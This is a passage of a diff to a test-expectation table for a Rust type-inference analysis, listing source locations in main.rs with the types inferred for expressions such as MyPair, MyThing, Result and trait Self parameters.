main.rs:894:5:894:13 | S | -| main.rs:902:15:902:19 | &self | | file://:0:0:0:0 | & | -| main.rs:902:15:902:19 | &self | &T | main.rs:894:5:894:13 | S | -| main.rs:902:16:902:19 | self | | file://:0:0:0:0 | & | -| main.rs:902:16:902:19 | self | &T | main.rs:894:5:894:13 | S | -| main.rs:905:15:905:15 | x | | file://:0:0:0:0 | & | -| main.rs:905:15:905:15 | x | &T | main.rs:894:5:894:13 | S | -| main.rs:905:34:907:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:905:34:907:9 | { ... } | &T | main.rs:894:5:894:13 | S | -| main.rs:906:13:906:13 | x | | file://:0:0:0:0 | & | -| main.rs:906:13:906:13 | x | &T | main.rs:894:5:894:13 | S | -| main.rs:909:15:909:15 | x | | file://:0:0:0:0 | & | -| main.rs:909:15:909:15 | x | &T | main.rs:894:5:894:13 | S | -| main.rs:909:34:911:9 | { ... } | | file://:0:0:0:0 | & | -| main.rs:909:34:911:9 | { ... } | &T | main.rs:894:5:894:13 | S | -| main.rs:910:13:910:16 | &... | | file://:0:0:0:0 | & | -| main.rs:910:13:910:16 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:910:14:910:16 | &... | | file://:0:0:0:0 | & | -| main.rs:910:14:910:16 | &... | &T | main.rs:894:5:894:13 | S | -| main.rs:910:15:910:16 | &x | | file://:0:0:0:0 | & | -| main.rs:910:15:910:16 | &x | &T | main.rs:894:5:894:13 | S | -| main.rs:910:16:910:16 | x | | file://:0:0:0:0 | & | -| main.rs:910:16:910:16 | x | &T | main.rs:894:5:894:13 | S | -| main.rs:915:13:915:13 | x | | main.rs:894:5:894:13 | S | -| main.rs:915:17:915:20 | S {...} | | main.rs:894:5:894:13 | S | -| main.rs:916:9:916:9 | x | | main.rs:894:5:894:13 | S | -| main.rs:916:9:916:14 | x.f1() | | file://:0:0:0:0 | & | -| main.rs:916:9:916:14 | x.f1() | &T | main.rs:894:5:894:13 | S | -| main.rs:917:9:917:9 | x | | main.rs:894:5:894:13 | S | -| main.rs:917:9:917:14 | x.f2() | | file://:0:0:0:0 | & | -| main.rs:917:9:917:14 | x.f2() | &T | main.rs:894:5:894:13 | S | -| main.rs:918:9:918:17 | ...::f3(...) | | file://:0:0:0:0 | & | -| main.rs:918:9:918:17 | ...::f3(...) | &T | main.rs:894:5:894:13 | S | -| main.rs:918:15:918:16 | &x | | file://:0:0:0:0 | & | -| main.rs:918:15:918:16 | &x | &T | main.rs:894:5:894:13 | S | -| main.rs:918:16:918:16 | x | | main.rs:894:5:894:13 | S | -| main.rs:932:43:935:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:932:43:935:5 | { ... } | E | main.rs:925:5:926:14 | S1 | -| main.rs:932:43:935:5 | { ... } | T | main.rs:925:5:926:14 | S1 | -| main.rs:933:13:933:13 | x | | main.rs:925:5:926:14 | S1 | -| main.rs:933:17:933:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:933:17:933:30 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:933:17:933:31 | TryExpr | | main.rs:925:5:926:14 | S1 | -| main.rs:933:28:933:29 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:934:9:934:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:934:9:934:22 | ...::Ok(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:934:9:934:22 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:934:20:934:21 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:938:46:942:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:938:46:942:5 | { ... } | E | main.rs:928:5:929:14 | S2 | -| main.rs:938:46:942:5 | { ... } | T | main.rs:925:5:926:14 | S1 | -| main.rs:939:13:939:13 | x | | file://:0:0:0:0 | Result | -| main.rs:939:13:939:13 | x | T | main.rs:925:5:926:14 | S1 | -| main.rs:939:17:939:30 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:939:17:939:30 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:939:28:939:29 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:940:13:940:13 | y | | main.rs:925:5:926:14 | S1 | -| main.rs:940:17:940:17 | x | | file://:0:0:0:0 | Result | -| main.rs:940:17:940:17 | x | T | main.rs:925:5:926:14 | S1 | -| main.rs:940:17:940:18 | TryExpr | | main.rs:925:5:926:14 | S1 | -| main.rs:941:9:941:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:941:9:941:22 | ...::Ok(...) | E | main.rs:928:5:929:14 | S2 | -| main.rs:941:9:941:22 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:941:20:941:21 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:945:40:950:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:945:40:950:5 | { ... } | E | main.rs:928:5:929:14 | S2 | -| main.rs:945:40:950:5 | { ... } | T | main.rs:925:5:926:14 | S1 | -| main.rs:946:13:946:13 | x | | file://:0:0:0:0 | Result | -| main.rs:946:13:946:13 | x | T | file://:0:0:0:0 | Result | -| main.rs:946:13:946:13 | x | T.T | main.rs:925:5:926:14 | S1 | -| main.rs:946:17:946:42 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:946:17:946:42 | ...::Ok(...) | T | file://:0:0:0:0 | Result | -| main.rs:946:17:946:42 | ...::Ok(...) | T.T | main.rs:925:5:926:14 | S1 | -| main.rs:946:28:946:41 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:946:28:946:41 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:946:39:946:40 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:948:17:948:17 | x | | file://:0:0:0:0 | Result | -| main.rs:948:17:948:17 | x | T | file://:0:0:0:0 | Result | -| main.rs:948:17:948:17 | x | T.T | main.rs:925:5:926:14 | S1 | -| main.rs:948:17:948:18 | TryExpr | | file://:0:0:0:0 | Result | -| main.rs:948:17:948:18 | TryExpr | T | main.rs:925:5:926:14 | S1 | -| main.rs:948:17:948:29 | ... .map(...) | | file://:0:0:0:0 | Result | -| main.rs:949:9:949:22 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:949:9:949:22 | ...::Ok(...) | E | main.rs:928:5:929:14 | S2 | -| main.rs:949:9:949:22 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:949:20:949:21 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:953:30:953:34 | input | | file://:0:0:0:0 | Result | -| main.rs:953:30:953:34 | input | E | main.rs:925:5:926:14 | S1 | -| main.rs:953:30:953:34 | input | T | main.rs:953:20:953:27 | T | -| main.rs:953:69:960:5 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:953:69:960:5 | { ... } | E | main.rs:925:5:926:14 | S1 | -| main.rs:953:69:960:5 | { ... } | T | main.rs:953:20:953:27 | T | -| main.rs:954:13:954:17 | value | | main.rs:953:20:953:27 | T | -| main.rs:954:21:954:25 | input | | file://:0:0:0:0 | Result | -| main.rs:954:21:954:25 | input | E | main.rs:925:5:926:14 | S1 | -| main.rs:954:21:954:25 | input | T | main.rs:953:20:953:27 | T | -| main.rs:954:21:954:26 | TryExpr | | main.rs:953:20:953:27 | T | -| main.rs:955:22:955:38 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:955:22:955:38 | ...::Ok(...) | T | main.rs:953:20:953:27 | T | -| main.rs:955:22:958:10 | ... .and_then(...) | | file://:0:0:0:0 | Result | -| main.rs:955:33:955:37 | value | | main.rs:953:20:953:27 | T | -| main.rs:955:53:958:9 | { ... } | | file://:0:0:0:0 | Result | -| main.rs:955:53:958:9 | { ... } | E | main.rs:925:5:926:14 | S1 | -| main.rs:957:13:957:34 | ...::Ok::<...>(...) | | file://:0:0:0:0 | Result | -| main.rs:957:13:957:34 | ...::Ok::<...>(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:959:9:959:23 | ...::Err(...) | | file://:0:0:0:0 | Result | -| main.rs:959:9:959:23 | ...::Err(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:959:9:959:23 | ...::Err(...) | T | main.rs:953:20:953:27 | T | -| main.rs:959:21:959:22 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:963:37:963:52 | try_same_error(...) | | file://:0:0:0:0 | Result | -| main.rs:963:37:963:52 | try_same_error(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:963:37:963:52 | try_same_error(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:967:37:967:55 | try_convert_error(...) | | file://:0:0:0:0 | Result | -| main.rs:967:37:967:55 | try_convert_error(...) | E | main.rs:928:5:929:14 | S2 | -| main.rs:967:37:967:55 | try_convert_error(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:971:37:971:49 | try_chained(...) | | file://:0:0:0:0 | Result | -| main.rs:971:37:971:49 | try_chained(...) | E | main.rs:928:5:929:14 | S2 | -| main.rs:971:37:971:49 | try_chained(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:975:37:975:63 | try_complex(...) | | file://:0:0:0:0 | Result | -| main.rs:975:37:975:63 | try_complex(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:975:37:975:63 | try_complex(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:975:49:975:62 | ...::Ok(...) | | file://:0:0:0:0 | Result | -| main.rs:975:49:975:62 | ...::Ok(...) | E | main.rs:925:5:926:14 | S1 | -| main.rs:975:49:975:62 | ...::Ok(...) | T | main.rs:925:5:926:14 | S1 | -| main.rs:975:60:975:61 | S1 | | main.rs:925:5:926:14 | S1 | -| main.rs:983:5:983:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:984:5:984:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | -| main.rs:984:20:984:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | -| main.rs:984:41:984:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:163:15:163:18 | SelfParam | | main.rs:162:5:171:5 | Self [trait MyTrait] | +| main.rs:165:15:165:18 | SelfParam | | main.rs:162:5:171:5 | Self [trait MyTrait] | +| main.rs:168:9:170:9 | { ... } | | main.rs:162:5:171:5 | Self [trait MyTrait] | +| main.rs:169:13:169:16 | self | | main.rs:162:5:171:5 | Self [trait MyTrait] | +| main.rs:175:16:175:19 | SelfParam | | main.rs:173:5:178:5 | Self [trait MyProduct] | +| main.rs:177:16:177:19 | SelfParam | | main.rs:173:5:178:5 | Self [trait MyProduct] | +| main.rs:180:43:180:43 | x | | main.rs:180:26:180:40 | T2 | +| main.rs:180:56:182:5 | { ... } | | main.rs:180:22:180:23 | T1 | +| main.rs:181:9:181:9 | x | | main.rs:180:26:180:40 | T2 | +| main.rs:181:9:181:14 | x.m1() | | main.rs:180:22:180:23 | T1 | +| main.rs:186:15:186:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | +| main.rs:186:15:186:18 | SelfParam | A | main.rs:155:5:156:14 | S1 | +| main.rs:186:27:188:9 | { ... } | | main.rs:155:5:156:14 | S1 | +| main.rs:187:13:187:16 | self | | main.rs:144:5:147:5 | MyThing | +| main.rs:187:13:187:16 | self | A | main.rs:155:5:156:14 | S1 | +| main.rs:187:13:187:18 | self.a | | main.rs:155:5:156:14 | S1 | +| main.rs:193:15:193:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | +| main.rs:193:15:193:18 | SelfParam | A | main.rs:157:5:158:14 | S2 | +| main.rs:193:29:195:9 | { ... } | | main.rs:144:5:147:5 | MyThing | +| main.rs:193:29:195:9 | { ... } | A | main.rs:157:5:158:14 | S2 | +| main.rs:194:13:194:30 | Self {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:194:13:194:30 | Self {...} | A | main.rs:157:5:158:14 | S2 | +| main.rs:194:23:194:26 | self | | main.rs:144:5:147:5 | MyThing | +| main.rs:194:23:194:26 | self | A | main.rs:157:5:158:14 | S2 | +| main.rs:194:23:194:28 | self.a | | main.rs:157:5:158:14 | S2 | +| main.rs:205:15:205:18 | SelfParam | | main.rs:144:5:147:5 | MyThing | +| main.rs:205:15:205:18 | SelfParam | A | main.rs:159:5:160:14 | S3 | +| main.rs:205:27:207:9 | { ... } | | main.rs:200:10:200:11 | TD | +| main.rs:206:13:206:25 | ...::default(...) | | main.rs:200:10:200:11 | TD | +| main.rs:212:15:212:18 | SelfParam | | main.rs:149:5:153:5 | MyPair | +| main.rs:212:15:212:18 | SelfParam | P1 | main.rs:210:10:210:10 | I | +| main.rs:212:15:212:18 | SelfParam | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:212:26:214:9 | { ... } | | main.rs:210:10:210:10 | I | +| main.rs:213:13:213:16 | self | | main.rs:149:5:153:5 | MyPair | +| main.rs:213:13:213:16 | self | P1 | main.rs:210:10:210:10 | I | +| main.rs:213:13:213:16 | self | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:213:13:213:19 | self.p1 | | main.rs:210:10:210:10 | I | +| main.rs:219:15:219:18 | SelfParam | | main.rs:149:5:153:5 | MyPair | +| main.rs:219:15:219:18 | SelfParam | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:219:15:219:18 | SelfParam | P2 | main.rs:157:5:158:14 | S2 | +| main.rs:219:27:221:9 | { ... } | | main.rs:159:5:160:14 | S3 | +| main.rs:220:13:220:14 | S3 | | main.rs:159:5:160:14 | S3 | +| main.rs:226:15:226:18 | SelfParam | | main.rs:149:5:153:5 | MyPair | +| main.rs:226:15:226:18 | SelfParam | P1 | main.rs:144:5:147:5 | MyThing | +| main.rs:226:15:226:18 | SelfParam | P1.A | main.rs:224:10:224:11 | TT | +| main.rs:226:15:226:18 | SelfParam | P2 | main.rs:159:5:160:14 | S3 | +| main.rs:226:27:229:9 | { ... } | | main.rs:224:10:224:11 | TT | +| main.rs:227:17:227:21 | alpha | | main.rs:144:5:147:5 | MyThing | +| main.rs:227:17:227:21 | alpha | A | main.rs:224:10:224:11 | TT | +| main.rs:227:25:227:28 | self | | main.rs:149:5:153:5 | MyPair | +| main.rs:227:25:227:28 | self | P1 | main.rs:144:5:147:5 | MyThing | +| main.rs:227:25:227:28 | self | P1.A | main.rs:224:10:224:11 | TT | +| main.rs:227:25:227:28 | self | P2 | main.rs:159:5:160:14 | S3 | +| main.rs:227:25:227:31 | self.p1 | | main.rs:144:5:147:5 | MyThing | +| main.rs:227:25:227:31 | self.p1 | A | main.rs:224:10:224:11 | TT | +| main.rs:228:13:228:17 | alpha | | main.rs:144:5:147:5 | MyThing | +| main.rs:228:13:228:17 | alpha | A | main.rs:224:10:224:11 | TT | +| main.rs:228:13:228:19 | alpha.a | | main.rs:224:10:224:11 | TT | +| main.rs:235:16:235:19 | SelfParam | | main.rs:149:5:153:5 | MyPair | +| main.rs:235:16:235:19 | SelfParam | P1 | main.rs:233:10:233:10 | A | +| main.rs:235:16:235:19 | SelfParam | P2 | main.rs:233:10:233:10 | A | +| main.rs:235:27:237:9 | { ... } | | main.rs:233:10:233:10 | A | +| main.rs:236:13:236:16 | self | | main.rs:149:5:153:5 | MyPair | +| main.rs:236:13:236:16 | self | P1 | main.rs:233:10:233:10 | A | +| main.rs:236:13:236:16 | self | P2 | main.rs:233:10:233:10 | A | +| main.rs:236:13:236:19 | self.p1 | | main.rs:233:10:233:10 | A | +| main.rs:240:16:240:19 | SelfParam | | main.rs:149:5:153:5 | MyPair | +| main.rs:240:16:240:19 | SelfParam | P1 | main.rs:233:10:233:10 | A | +| main.rs:240:16:240:19 | SelfParam | P2 | main.rs:233:10:233:10 | A | +| main.rs:240:27:242:9 | { ... } | | main.rs:233:10:233:10 | A | +| main.rs:241:13:241:16 | self | | main.rs:149:5:153:5 | MyPair | +| main.rs:241:13:241:16 | self | P1 | main.rs:233:10:233:10 | A | +| main.rs:241:13:241:16 | self | P2 | main.rs:233:10:233:10 | A | +| main.rs:241:13:241:19 | self.p2 | | main.rs:233:10:233:10 | A | +| main.rs:248:16:248:19 | SelfParam | | main.rs:149:5:153:5 | MyPair | +| main.rs:248:16:248:19 | SelfParam | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:248:16:248:19 | SelfParam | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:248:28:250:9 | { ... } | | main.rs:155:5:156:14 | S1 | +| main.rs:249:13:249:16 | self | | main.rs:149:5:153:5 | MyPair | +| main.rs:249:13:249:16 | self | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:249:13:249:16 | self | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:249:13:249:19 | self.p2 | | main.rs:155:5:156:14 | S1 | +| main.rs:253:16:253:19 | SelfParam | | main.rs:149:5:153:5 | MyPair | +| main.rs:253:16:253:19 | SelfParam | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:253:16:253:19 | SelfParam | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:253:28:255:9 | { ... } | | main.rs:157:5:158:14 | S2 | +| main.rs:254:13:254:16 | self | | main.rs:149:5:153:5 | MyPair | +| main.rs:254:13:254:16 | self | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:254:13:254:16 | self | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:254:13:254:19 | self.p1 | | main.rs:157:5:158:14 | S2 | +| main.rs:258:46:258:46 | p | | main.rs:258:24:258:43 | P | +| main.rs:258:58:260:5 | { ... } | | main.rs:258:16:258:17 | V1 | +| main.rs:259:9:259:9 | p | | main.rs:258:24:258:43 | P | +| main.rs:259:9:259:15 | p.fst() | | main.rs:258:16:258:17 | V1 | +| main.rs:262:46:262:46 | p | | main.rs:262:24:262:43 | P | +| main.rs:262:58:264:5 | { ... } | | main.rs:262:20:262:21 | V2 | +| main.rs:263:9:263:9 | p | | main.rs:262:24:262:43 | P | +| main.rs:263:9:263:15 | p.snd() | | main.rs:262:20:262:21 | V2 | +| main.rs:266:54:266:54 | p | | main.rs:149:5:153:5 | MyPair | +| main.rs:266:54:266:54 | p | P1 | main.rs:266:20:266:21 | V0 | +| main.rs:266:54:266:54 | p | P2 | main.rs:266:32:266:51 | P | +| main.rs:266:78:268:5 | { ... } | | main.rs:266:24:266:25 | V1 | +| main.rs:267:9:267:9 | p | | main.rs:149:5:153:5 | MyPair | +| main.rs:267:9:267:9 | p | P1 | main.rs:266:20:266:21 | V0 | +| main.rs:267:9:267:9 | p | P2 | main.rs:266:32:266:51 | P | +| main.rs:267:9:267:12 | p.p2 | | main.rs:266:32:266:51 | P | +| main.rs:267:9:267:18 | ... .fst() | | main.rs:266:24:266:25 | V1 | +| main.rs:272:23:272:26 | SelfParam | | main.rs:270:5:273:5 | Self [trait ConvertTo] | +| main.rs:277:23:277:26 | SelfParam | | main.rs:275:10:275:23 | T | +| main.rs:277:35:279:9 | { ... } | | main.rs:155:5:156:14 | S1 | +| main.rs:278:13:278:16 | self | | main.rs:275:10:275:23 | T | +| main.rs:278:13:278:21 | self.m1() | | main.rs:155:5:156:14 | S1 | +| main.rs:282:41:282:45 | thing | | main.rs:282:23:282:38 | T | +| main.rs:282:57:284:5 | { ... } | | main.rs:282:19:282:20 | TS | +| main.rs:283:9:283:13 | thing | | main.rs:282:23:282:38 | T | +| main.rs:283:9:283:26 | thing.convert_to() | | main.rs:282:19:282:20 | TS | +| main.rs:286:56:286:60 | thing | | main.rs:286:39:286:53 | TP | +| main.rs:286:73:289:5 | { ... } | | main.rs:155:5:156:14 | S1 | +| main.rs:288:9:288:13 | thing | | main.rs:286:39:286:53 | TP | +| main.rs:288:9:288:26 | thing.convert_to() | | main.rs:155:5:156:14 | S1 | +| main.rs:292:13:292:20 | thing_s1 | | main.rs:144:5:147:5 | MyThing | +| main.rs:292:13:292:20 | thing_s1 | A | main.rs:155:5:156:14 | S1 | +| main.rs:292:24:292:40 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:292:24:292:40 | MyThing {...} | A | main.rs:155:5:156:14 | S1 | +| main.rs:292:37:292:38 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:293:13:293:20 | thing_s2 | | main.rs:144:5:147:5 | MyThing | +| main.rs:293:13:293:20 | thing_s2 | A | main.rs:157:5:158:14 | S2 | +| main.rs:293:24:293:40 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:293:24:293:40 | MyThing {...} | A | main.rs:157:5:158:14 | S2 | +| main.rs:293:37:293:38 | S2 | | main.rs:157:5:158:14 | S2 | +| main.rs:294:13:294:20 | thing_s3 | | main.rs:144:5:147:5 | MyThing | +| main.rs:294:13:294:20 | thing_s3 | A | main.rs:159:5:160:14 | S3 | +| main.rs:294:24:294:40 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:294:24:294:40 | MyThing {...} | A | main.rs:159:5:160:14 | S3 | +| main.rs:294:37:294:38 | S3 | | main.rs:159:5:160:14 | S3 | +| main.rs:298:26:298:33 | thing_s1 | | main.rs:144:5:147:5 | MyThing | +| main.rs:298:26:298:33 | thing_s1 | A | main.rs:155:5:156:14 | S1 | +| main.rs:298:26:298:38 | thing_s1.m1() | | main.rs:155:5:156:14 | S1 | +| main.rs:299:26:299:33 | thing_s2 | | main.rs:144:5:147:5 | MyThing | +| main.rs:299:26:299:33 | thing_s2 | A | main.rs:157:5:158:14 | S2 | +| main.rs:299:26:299:38 | thing_s2.m1() | | main.rs:144:5:147:5 | MyThing | +| main.rs:299:26:299:38 | thing_s2.m1() | A | main.rs:157:5:158:14 | S2 | +| main.rs:299:26:299:40 | ... .a | | main.rs:157:5:158:14 | S2 | +| main.rs:300:13:300:14 | s3 | | main.rs:159:5:160:14 | S3 | +| main.rs:300:22:300:29 | thing_s3 | | main.rs:144:5:147:5 | MyThing | +| main.rs:300:22:300:29 | thing_s3 | A | main.rs:159:5:160:14 | S3 | +| main.rs:300:22:300:34 | thing_s3.m1() | | main.rs:159:5:160:14 | S3 | +| main.rs:301:26:301:27 | s3 | | main.rs:159:5:160:14 | S3 | +| main.rs:303:13:303:14 | p1 | | main.rs:149:5:153:5 | MyPair | +| main.rs:303:13:303:14 | p1 | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:303:13:303:14 | p1 | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:303:18:303:42 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:303:18:303:42 | MyPair {...} | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:303:18:303:42 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:303:31:303:32 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:303:39:303:40 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:304:26:304:27 | p1 | | main.rs:149:5:153:5 | MyPair | +| main.rs:304:26:304:27 | p1 | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:304:26:304:27 | p1 | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:304:26:304:32 | p1.m1() | | main.rs:155:5:156:14 | S1 | +| main.rs:306:13:306:14 | p2 | | main.rs:149:5:153:5 | MyPair | +| main.rs:306:13:306:14 | p2 | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:306:13:306:14 | p2 | P2 | main.rs:157:5:158:14 | S2 | +| main.rs:306:18:306:42 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:306:18:306:42 | MyPair {...} | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:306:18:306:42 | MyPair {...} | P2 | main.rs:157:5:158:14 | S2 | +| main.rs:306:31:306:32 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:306:39:306:40 | S2 | | main.rs:157:5:158:14 | S2 | +| main.rs:307:26:307:27 | p2 | | main.rs:149:5:153:5 | MyPair | +| main.rs:307:26:307:27 | p2 | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:307:26:307:27 | p2 | P2 | main.rs:157:5:158:14 | S2 | +| main.rs:307:26:307:32 | p2.m1() | | main.rs:159:5:160:14 | S3 | +| main.rs:309:13:309:14 | p3 | | main.rs:149:5:153:5 | MyPair | +| main.rs:309:13:309:14 | p3 | P1 | main.rs:144:5:147:5 | MyThing | +| main.rs:309:13:309:14 | p3 | P1.A | main.rs:155:5:156:14 | S1 | +| main.rs:309:13:309:14 | p3 | P2 | main.rs:159:5:160:14 | S3 | +| main.rs:309:18:312:9 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:309:18:312:9 | MyPair {...} | P1 | main.rs:144:5:147:5 | MyThing | +| main.rs:309:18:312:9 | MyPair {...} | P1.A | main.rs:155:5:156:14 | S1 | +| main.rs:309:18:312:9 | MyPair {...} | P2 | main.rs:159:5:160:14 | S3 | +| main.rs:310:17:310:33 | MyThing {...} | | main.rs:144:5:147:5 | MyThing | +| main.rs:310:17:310:33 | MyThing {...} | A | main.rs:155:5:156:14 | S1 | +| main.rs:310:30:310:31 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:311:17:311:18 | S3 | | main.rs:159:5:160:14 | S3 | +| main.rs:313:26:313:27 | p3 | | main.rs:149:5:153:5 | MyPair | +| main.rs:313:26:313:27 | p3 | P1 | main.rs:144:5:147:5 | MyThing | +| main.rs:313:26:313:27 | p3 | P1.A | main.rs:155:5:156:14 | S1 | +| main.rs:313:26:313:27 | p3 | P2 | main.rs:159:5:160:14 | S3 | +| main.rs:313:26:313:32 | p3.m1() | | main.rs:155:5:156:14 | S1 | +| main.rs:316:13:316:13 | a | | main.rs:149:5:153:5 | MyPair | +| main.rs:316:13:316:13 | a | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:316:13:316:13 | a | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:316:17:316:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:316:17:316:41 | MyPair {...} | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:316:17:316:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:316:30:316:31 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:316:38:316:39 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:317:13:317:13 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:317:17:317:17 | a | | main.rs:149:5:153:5 | MyPair | +| main.rs:317:17:317:17 | a | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:317:17:317:17 | a | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:317:17:317:23 | a.fst() | | main.rs:155:5:156:14 | S1 | +| main.rs:318:26:318:26 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:319:13:319:13 | y | | main.rs:155:5:156:14 | S1 | +| main.rs:319:17:319:17 | a | | main.rs:149:5:153:5 | MyPair | +| main.rs:319:17:319:17 | a | P1 | main.rs:155:5:156:14 | S1 | +| main.rs:319:17:319:17 | a | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:319:17:319:23 | a.snd() | | main.rs:155:5:156:14 | S1 | +| main.rs:320:26:320:26 | y | | main.rs:155:5:156:14 | S1 | +| main.rs:326:13:326:13 | b | | main.rs:149:5:153:5 | MyPair | +| main.rs:326:13:326:13 | b | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:326:13:326:13 | b | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:326:17:326:41 | MyPair {...} | | main.rs:149:5:153:5 | MyPair | +| main.rs:326:17:326:41 | MyPair {...} | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:326:17:326:41 | MyPair {...} | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:326:30:326:31 | S2 | | main.rs:157:5:158:14 | S2 | +| main.rs:326:38:326:39 | S1 | | main.rs:155:5:156:14 | S1 | +| main.rs:327:13:327:13 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:327:17:327:17 | b | | main.rs:149:5:153:5 | MyPair | +| main.rs:327:17:327:17 | b | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:327:17:327:17 | b | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:327:17:327:23 | b.fst() | | main.rs:155:5:156:14 | S1 | +| main.rs:328:26:328:26 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:329:13:329:13 | y | | main.rs:157:5:158:14 | S2 | +| main.rs:329:17:329:17 | b | | main.rs:149:5:153:5 | MyPair | +| main.rs:329:17:329:17 | b | P1 | main.rs:157:5:158:14 | S2 | +| main.rs:329:17:329:17 | b | P2 | main.rs:155:5:156:14 | S1 | +| main.rs:329:17:329:23 | b.snd() | | main.rs:157:5:158:14 | S2 | +| main.rs:330:26:330:26 | y | | main.rs:157:5:158:14 | S2 | +| main.rs:334:13:334:13 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:334:17:334:39 | call_trait_m1(...) | | main.rs:155:5:156:14 | S1 | +| main.rs:334:31:334:38 | thing_s1 | | main.rs:144:5:147:5 | MyThing | +| main.rs:334:31:334:38 | thing_s1 | A | main.rs:155:5:156:14 | S1 | +| main.rs:335:26:335:26 | x | | main.rs:155:5:156:14 | S1 | +| main.rs:336:13:336:13 | y | | main.rs:144:5:147:5 | MyThing | +| main.rs:336:13:336:13 | y | A | main.rs:157:5:158:14 | S2 | +| main.rs:336:17:336:39 | call_trait_m1(...) | | main.rs:144:5:147:5 | MyThing | +| main.rs:336:17:336:39 | call_trait_m1(...) | A | main.rs:157:5:158:14 | S2 | +| main.rs:336:31:336:38 | thing_s2 | | main.rs:144:5:147:5 | MyThing | +| main.rs:336:31:336:38 | thing_s2 | A | main.rs:157:5:158:14 | S2 | +| main.rs:337:26:337:26 | y | | main.rs:144:5:147:5 | MyThing | +| 